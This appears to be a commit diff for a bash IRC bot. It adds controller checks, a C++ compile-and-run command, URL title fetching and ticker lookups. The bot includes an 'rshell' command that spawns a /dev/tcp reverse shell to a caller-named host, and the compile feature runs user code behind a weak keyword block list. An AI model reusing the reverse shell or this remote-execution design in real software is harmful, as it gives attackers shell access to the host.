Commits

Anonymous committed bc28b36

Added compilation, and a restructured callback format

  • Participants
  • Parent commits 6027bdd

Comments (0)

Files changed (2)

File bash/handler_callbacks

 #!/bin/bash
 
+authenticated(){
+  SENDER=$1
+  RESPOND=$2
+  RETURN=$3
+
+  FOUND="false"
+
+  for controller in "${ALLOWED_PM_CONTROLLERS[@]}"; do
+    if [ $controller == $SENDER ]; then
+       FOUND="true"
+    fi
+  done
+
+  [ "$FOUND" == "false" ] && message_post $RESPOND "Sorry - you are not a controller" && eval $RETURN=0 && return
+
+  eval $RETURN=1
+}
+
 message_post(){
   DESTINATION=$1
   shift
 }
 
 run_ping(){
+
+  authenticated $1 $2 RESULT
+  [ ${RESULT} -eq 0 ] && message_post $1 "Unable to ping - you are not a controller" && return
+
   [ ! -e /bin/ping ] && message_post $1 "No ping utility installed" && return
   [ ! -e /bin/grep ] && message_post $1 "No grep utility installed" && return
 
 }
 
 run_join(){
+  authenticated $1 $2 RESULT
+  [ ${RESULT} -eq 0 ] && message_post $1 "Unable to join - you are not a controller" && return
+
   [ ! "$3" ] && message_post $1 "Need to specify a room to join" && return
   [ ! "${3:0:1}" == "#" ] && message_post $1 "Room name [ $3 ] seems bad" && return
 
 }
 
 run_part(){
+  authenticated $1 $2 RESULT
+  [ ${RESULT} -eq 0 ] && message_post $1 "Unable to part - you are not a controller" && return
+
   [ ! "$3" ] && message_post $1 "Need to specify a room to leave" && return
   [ ! "${3:0:1}" == "#" ] && message_post $1 "Room name [ $3 ] seems bad" && return
 
 }
 
 run_nick(){
+  authenticated $1 $2 RESULT
+  [ ${RESULT} -eq 0 ] && message_post $1 "Unable to change nick - you are not a controller" && return
+
   [ ! "$3" ] && message_post $1 "Need to specify a new nick" && return
   [ "${3:0:1}" == "#" ] && message_post $1 "Nick [ $3 ] seems bad" && return
 
 }
 
 run_speak(){
-  [ ! "$3" ] && message_post $1 "Need to give me someone to speak to" && return
+
+  authenticated $1 $2 RESULT
+  [ ${RESULT} -eq 0 ] && message_post $1 "Unable - you are not a controller" && return
+
+  [ ! "$3" ] && message_post $1 "Need to give me a target" && return
   [ $# -lt 4 ] && message_post $1 "Need to give me something to say" && return
 
   SENDER="$1"
-
   DEST="$3"
-  
+ 
   shift 3
 
   message_post $SENDER "Okay"
-  message_post $DEST $*
+  message_post $DEST "$*"
+
 }
 
 run_quit(){
+  authenticated $1 $2 RESULT
+  [ ${RESULT} -eq 0 ] && message_post $1 "Unable to quit - you are not a controller" && return
+
   message_post $1 "Okay, bye"
   
   shift 2
   exit 0
 }
 
+run_resolve(){
+   MATCH=$(echo "$*" | /bin/grep -o -E "(http|https)(:[/][/])([a-z]|[A-Z]|[0-9]|[/=]|[/?]|[&]|[/-]|[/.]|[~])*" 2>/dev/null)
+
+   if [ $? -eq 0 -a "$MATCH" ]; then
+      # first resolve the url
+      #echo "MATCHED: $MATCH"
+      RESULT=$(curl -L "$MATCH" 2>/dev/null)
+      echo "$RESULT"
+   fi
+}
+
 run_reverseshell(){
 
+  authenticated $1 $2 RESULT
+  [ ${RESULT} -eq 0 ] && message_post $1 "Unable to join - you are not a controller" && return
+
   [ $ALLOW_REVERSE_SHELL -eq 0 ] && message_post $1 "No reverse shell" && return
 
   [ ! -x /bin/cat ] && message_post $1 "No cat binary" && return
 
   message_post $1 "Spawning a forked reverse shell to [$3:$4]..."
 
-  [ -e /tmp/makeshell ] && /bin/rm -f /tmp/makeshell
+  TMPSHELL=$(/bin/mktemp)
+
+  #[ -e $TMP ] && /bin/rm -f /tmp/makeshell
 
   message_post $1 "Writing a makeshell shell script"
-  /bin/cat > /tmp/makeshell <<EOF
+  /bin/cat > $TMPSHELL <<EOF
 #!/bin/bash
 exec 3<> /dev/tcp/$3/$4
 if [ $? != 0 ]; then
    exit 0
 fi
-exec /bin/bash 0<&3 1>&3- 2>/dev/null
+/bin/bash 0<&3 1>&3- 2>/dev/null 
+rm -f $TMPSHELL
 EOF
-  /bin/chmod +x /tmp/makeshell
+  /bin/chmod +x $TMPSHELL
 
-  [ ! -x /tmp/makeshell ] && message_post $1 "Cannot make shell - failed" && return
+  [ ! -x $TMPSHELL ] && message_post $1 "Cannot make shell - failed" && rm -f $TMPSHELL && return
   
-  $(/usr/bin/nohup /tmp/makeshell $3 $4 >/dev/null </dev/null 2>/dev/null &)
+  $(/usr/bin/nohup $TMPSHELL $3 $4 >/dev/null </dev/null 2>/dev/null &)
   message_post $1 "Spawned"
 }
 
   #message_post $1 "Attempting to modify keyword stuff ${USE_KEYWORDS} ${#KEYWORDS[*]} "
 
   if [ "$3" == "off" ]; then
+
+    authenticated $1 $2 RESULT
+    [ ${RESULT} -eq 0 ] && message_post $1 "Unable to change kw status - you are not a controller" && return
     message_post $2 "Use keywords off"
     USE_KEYWORDS="0"
   elif [ "$3" == "on" ]; then
+    authenticated $1 $2 RESULT
+    [ ${RESULT} -eq 0 ] && message_post $1 "Unable to change kw status - you are not a controller" && return
+
     message_post $2 "Use keywords on"
     USE_KEYWORDS="1"
   elif [ "$3" == "clear" ]; then
+    authenticated $1 $2 RESULT
+    [ ${RESULT} -eq 0 ] && message_post $1 "Unable to change kw status - you are not a controller" && return
+
     KEYWORDS=()
     KEYWORD_RESPONSES=()
   elif [ "$3" == "add" ]; then
     done
 
   elif [ "$3" == "del" ]; then
+    authenticated $1 $2 RESULT
+    [ ${RESULT} -eq 0 ] && message_post $1 "Unable to change kw status - you are not a controller" && return
     I=0
     for found in "${KEYWORDS[@]}"; do
       result=$(echo "$*" | /bin/grep -i "$found")
 
 }
 
+run_shorten(){
+   [ ! "$3" ] && message_post $2 "Unable to shorten blank url" && return
+
+   URL="http://is.gd/api.php?longurl=$3"
+   RESULT=$(/usr/bin/curl $URL)
+   message_post $2 "Shortened [ $RESULT ]"
+}
+
+run_controller(){
+
+  SENDER=$1
+  RESPOND=$2
+
+  [ ! "$3" ] && message_post $RESPOND "Please say one of (list|add|del)" && return
+
+  if [ "$3" == "list" ]; then
+    message_post $RESPOND "Bot Controllers [ ${ALLOWED_PM_CONTROLLERS[@]} ]"
+  elif [ "$3" == "add" ]; then
+    [ ! "$4" ] && message_post $RESPOND "Must give a name" && return
+
+    authenticated $1 $2 RESULT
+    [ ${RESULT} -eq 0 ] && message_post $1 "Unable to change kw status - you are not a controller" && return
+
+    ALLOWED_PM_CONTROLLERS=(${ALLOWED_PM_CONTROLLERS[@]} "$4")
+    message_post $RESPOND "Added - [ $4 ]"
+  elif [ "$3" == "del" ]; then
+    [ ! "$4" ] && message_post $RESPOND "Must give a name" && return
+
+    authenticated $1 $2 RESULT
+    [ ${RESULT} -eq 0 ] && message_post $1 "Unable to change kw status - you are not a controller" && return
+
+    I=0
+    for found in "${ALLOWED_PM_CONTROLLERS[@]}"; do
+      if [ "$found" == "$4" ]; then
+        ALLOWED_PM_CONTROLLERS=(${ALLOWED_PM_CONTROLLERS[@]:0:${I}} ${ALLOWED_PM_CONTROLLERS[@]:$(($I + 1))})
+      fi
+      (( I=$I+1 ))
+    done
+  else
+      message_post $RESPOND "Please say one of (list|add|del)"    
+  fi
+}
+
+run_ticker(){
+  SENDER=$1
+  CHANNEL=$2
+  shift 2
+
+  [ ! "$1" ] && message_post $CHANNEL "Requires a ticker symbol"
+  TICKERNAME=$(wget -O- "http://finance.yahoo.com/q?s=${1}&ql=1" 2>/dev/null | grep time_rtq_ticker | cut -d\" -f17 | cut -d"<" -f2 | cut -d">" -f2)
+  TICKERPRICE=$(wget -O- "http://finance.yahoo.com/q?s=${1}&ql=1" 2>/dev/null | grep time_rtq_ticker | cut -d\" -f27 | cut -d"<" -f1 | cut -d">" -f2)
+
+  message_post $CHANNEL "Ticker [ ${TICKERNAME} ] value [ ${TICKERPRICE} ]"
+}
+
 run_emote(){
+  authenticated $1 $2 RESULT
+  [ ${RESULT} -eq 0 ] && message_post $1 "Unable to change kw status - you are not a controller" && return
+
+
   [ ! "$3" ] && message_post $1 "Need to give me a dest to emote" && return
   [ $# -lt 4 ] && message_post $1 "Need to give me something to emote" && return
 
   SENDER="$1"
-
   DEST="$3"
   
   shift 3
   echo -e "PRIVMSG $DEST :\001ACTION $*\001"
 }
 
-run_mycmd(){
+run_compile(){
+
+  authenticated $1 $2 RESULT
+  [ ${RESULT} -eq 0 ] && message_post $1 "Sorry, ${1}, but you are not authorized to compile" && return
+
+  SENDER=$1
+  RESPONSE=$2
+
+  shift 2
+
+  [ ! "$*" ] && message_post $RESPONSE "Error - no shit to compile"
+
+  HASMAIN=$(echo "$*" | /bin/grep -w -E "main")
+
+  BADWORDS=( "socket" "setuid" "setgid" "seteuid" "setegid" "fopen" "open" "creat" "system" "exec" "execl" "execvp" "execp" "execle" "ioctl" "asm" "fork" "vfork" "clone" "execve" "signal" "kill" )
+
+  for badword in "${BADWORDS[@]}"; do
+    HASWORD=$(echo "$*" | /bin/grep -w -o "$badword")
+    if [ "${HASWORD}" ]; then
+      message_post $RESPONSE "Sorry, ${SENDER}, but you used a bad word: [ $badword ]"
+      return
+    fi
+  done
+  
+
+  COUTFILE=$(/bin/mktemp --suffix=.cc)
+  AOUTFILE=$(/bin/mktemp)
+  WARNFIL=$(/bin/mktemp)
+
+  cat > $COUTFILE <<EOF
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdint.h>
+#include <string.h>
+#include <pthread.h>
+#include <iostream>
+#include <vector>
+#include <map>
+#include <valarray>
+#include <string>
+#include <iomanip>
+#include <algorithm>
+#include <list>
+#include <set>
+#include <sstream>
+#include <fstream>
+#include <stack>
+
+using namespace std;
+
+EOF
+
+  if [ ! "$HASMAIN" ]; then
+      cat >> $COUTFILE <<EOF
+
+int main()
+EOF
+
+      [ "${1:0:1}" != "{" ] && $(echo "{" >> $COUTFILE)
+  fi
+
+  $(printf '%s' "$*" >> $COUTFILE)
+
+  ERRORS=$(/usr/bin/g++ -Wall -o $AOUTFILE $COUTFILE 2>$WARNFIL)
+
+  if [ -s "$WARNFIL" ]; then
+    LINES_OF_WARNING_ERROR=$(/bin/wc -l $WARNFIL)
+    message_post $RESPONSE "Generated warnings/errors [ $ERRORS ]"
+
+#    /bin/rm -f $COUTFILE $AOUTFILE $WARNFIL
+    return
+  fi
+  /bin/chmod +x $WARNFIL
+
+  /bin/cat >$WARNFIL <<EOF
+#!/bin/bash
+ulimit -t 2
+ulimit -u 5
+$AOUTFILE
+EOF
+
+  /bin/chmod +x $WARNFIL
+
+  RESULT=$( ${WARNFIL} 2>&1 )
+ 
+  /bin/rm -f ${WARNFIL} ${AOUTFILE} ${COUTFILE}
 
-  [ "$1" != "aconole" -a "$1" != "brad[]" ] && message_post $1 "Sorry I don't know you" && return
+  message_post $RESPONSE "Result is [ $RESULT ]"
+}
+
+run_mycmd(){
 
   SENDER="$1"
+  RESPOND="$1"
+  KW="$2"
 
-  if [ "$2" == "uptime" ]; then
-    [ ! -e /usr/bin/uptime ] && message_post $1 "Sorry - no uptime binary" && return
+  shift 2
+
+  if [ "$KW" == "uptime" ]; then
+    [ ! -e /usr/bin/uptime ] && message_post $SENDER "Sorry - no uptime binary" && return
     UPTIME=$(/usr/bin/uptime)
-    message_post $1 "Uptime - $UPTIME"
-  elif [ "$2" == "sysinfo" ]; then
-    [ ! -e /bin/uname ] && message_post $1 "No uname binary found" && return
+    message_post $SENDER "Uptime - $UPTIME"
+  elif [ "$KW" == "sysinfo" ]; then
+    [ ! -e /bin/uname ] && message_post $SENDER "No uname binary found" && return
     UNAME=$(/bin/uname -a)
-    message_post $1 "Uname - $UNAME"
-  elif [ "$2" == "id" ]; then
-    [ ! -e /usr/bin/id ] && message_post $1 "No id binary" && return
+    message_post $SENDER "Uname - $UNAME"
+  elif [ "$KW" == "id" ]; then
+    [ ! -e /usr/bin/id ] && message_post $SENDER "No id binary" && return
     IDINFO=$(/usr/bin/id)
-    message_post $1 "ID [ $IDINFO ]"
-  elif [ "$2" == "keywords" ]; then
-    message_post $1 "Keywords [ ${KEYWORDS[@]} ]"
-  elif [ "$2" == "ping" ]; then
-    run_ping $*
-  elif [ "$2" == "rshell" ]; then
-    run_reverseshell $*
-  elif [ "$2" == "nick" ]; then
-    run_nick $*
-  elif [ "$2" == "join" ]; then
-    run_join $*
-  elif [ "$2" == "part" ]; then
-    run_part $*
-  elif [ "$2" == "speak" ]; then
-    run_speak $*
-  elif [ "$2" == "emote" ]; then
-    run_emote $*
-  elif [ "$2" == "keyword" ]; then
-    shift 2
-    run_keyword $SENDER $SENDER $*
-  elif [ "$2" == "quit" ]; then
-    run_quit $*
+    message_post $SENDER "ID [ $IDINFO ]"
+  elif [ "$KW" == "keywords" ]; then
+    message_post $SENDER "Keywords [ ${KEYWORDS[@]} ]"
+  elif [ "$KW" == "ping" ]; then
+    run_ping $SENDER $RESPOND $*
+  elif [ "$KW" == "rshell" ]; then
+    run_reverseshell $SENDER $RESPOND $*
+  elif [ "$KW" == "nick" ]; then
+    run_nick $SENDER $RESPOND $*
+  elif [ "$KW" == "join" ]; then
+    run_join $SENDER $RESPOND $*
+  elif [ "$KW" == "part" ]; then
+    run_part $SENDER $RESPOND $*
+  elif [ "$KW" == "speak" ]; then
+    run_speak $SENDER $RESPOND $*
+  elif [ "$KW" == "emote" ]; then
+    run_emote $SENDER $RESPOND $*
+  elif [ "$KW" == "keyword" ]; then
+    run_keyword $SENDER $RESPOND $*
+  elif [ "$KW" == "controller" ]; then
+    run_controller $SENDER $RESPOND $*
+  elif [ "$KW" == "ticker" ]; then
+    run_ticker $SENDER $RESPOND $*
+  elif [ "$KW" == "shorten" ]; then
+    run_shorten $SENDER $SENDER $*
+  elif [ "$KW" == "quit" ]; then
+    run_quit $SENDER $RESPOND "$*"
   else
-    message_post $1 "Unknown command: [$2]"
+    message_post $SENDER "Unknown command: [$KW]"
   fi
 
+  return
 }
 
 handler_callback_tome(){
      message_post $1 "Unable to recognize your request [$*]"
   fi
 
+  return
 }
 
 
       run_keyword $SENDER $CHANNEL $*
     elif [ "${1:2}" == "ticker" ]; then
       shift
-      [ ! "$1" ] && message_post $CHANNEL "Requires a ticker symbol"
-      TICKERNAME=$(wget -O- "http://finance.yahoo.com/q?s=${1}&ql=1" 2>/dev/null | grep time_rtq_ticker | cut -d\" -f17 | cut -d"<" -f2 | cut -d">" -f2)
-      TICKERPRICE=$(wget -O- "http://finance.yahoo.com/q?s=${1}&ql=1" 2>/dev/null | grep time_rtq_ticker | cut -d\" -f27 | cut -d"<" -f1 | cut -d">" -f2)
-
-      message_post $CHANNEL "Ticker [ ${TICKERNAME} ] value [ ${TICKERPRICE} ]"
-      
-    else
-      message_post $CHANNEL "Channel command [ ${1:2} ] not supported"
+      run_ticker $SENDER $CHANNEL $*
+    elif [ "${1:2}" == "controller" ]; then
+      shift
+      run_controller $SENDER $CHANNEL $*
+    elif [ "${1:2}" == "shorten" ]; then
+      shift
+      run_shorten $SENDER $CHANNEL $*
+    elif [ "${1:2}" == "join" ]; then
+      shift
+      run_join $SENDER $CHANNEL $*
+    elif [ "${1:2}" == "compile" ]; then
+      shift
+      run_compile $SENDER $CHANNEL $*
+    elif [ "${1:2}" == "quit" ]; then
+      shift
+      run_quit $SENDER $CHANNEL "$*"
+    fi
+#    else
+#        message_post $SENDER "Channel command [ ${1:2} ] not supported"
     fi
 
     return
             RESPONSE="${KEYWORD_RESPONSES[${I}]}"
             SEDLINE="s/%SENDER%/${SENDER}/g"
             FORMATTED_RSP=$(echo "$RESPONSE" | /bin/sed $SEDLINE)
+  
+            check_title=$(echo "$FORMATTED_RSP" | /bin/grep "%URL_TITLE%")
+            if [ "$check_title" ]; then
+               HTTP_TEXT=$(run_resolve "$*")
+               TITLE=$(echo "${HTTP_TEXT}" | /bin/grep -o "<title>.*</title>" | /bin/sed "s@<title>@@g" | /bin/sed "s@</title>@@g" )
+               debug "$SENDER asked for $TITLE from $*"
+               if [ "$TITLE" ]; then
+                  SEDLINE="s@%URL_TITLE%@$TITLE@g"
+                  FORMATTED_RSP=$(echo "$FORMATTED_RSP" | /bin/sed "${SEDLINE}")
+               else
+                  SEDLINE="s@%URL_TITLE%@(No Title)@g"
+                  FORMATTED_RSP=$(echo "$FORMATTED_RSP" | /bin/sed "${SEDLINE}")
+               fi
+            fi
 
             message_post $CHANNEL "${FORMATTED_RSP}"
             return
 
 nick="`basename $0`"	# nickname
 name="$0"		# real name
-chan="#bash"		# channels to join
+chan="#bots"		# channels to join
 mode="+i"		# irc mode
 
 # end of configuration
 # use our login name if there's no nickname
 nick="${nick:-$USER}"
 
+owner="$1"
+
 # see if we can find a realname for our nickname
 name="${name:-`grep $nick /etc/passwd | cut -d : -f 5`}"
-host="$1"
-port="$2"
+host="$2"
+port="$3"
 
 USE_KEYWORDS="0"
 KEYWORDS=()
 KEYWORD_RESPONSES=()
 ALLOW_REVERSE_SHELL=0
 
+ALLOWED_PM_CONTROLLERS=( $owner )
+
 debug(){
   ( echo "$*" >>irc-debug 2>/dev/null )
 }
 
   if [ "$DESTINATION" == "$nick" ]; then
       handler_callback_tome "$SENDER" $*
+      return
   fi
 
   if [ "${DESTINATION:0:1}" == "#" ]; then
       handler_callback_tochan "$SENDER" "$DESTINATION" $*
+      return
   fi
 
 }
 # redirect error messages to file `irc-errors'
 exec 3<> irc-errors 2>&3-
 
-if [ ! "$host" ]; then
-  echo "usage: `basename $0` hostname [port]"
+if [ ! "$owner" -o ! "$host" ]; then
+  echo "usage: `basename $0` owner server [port]"
   exit 1
 fi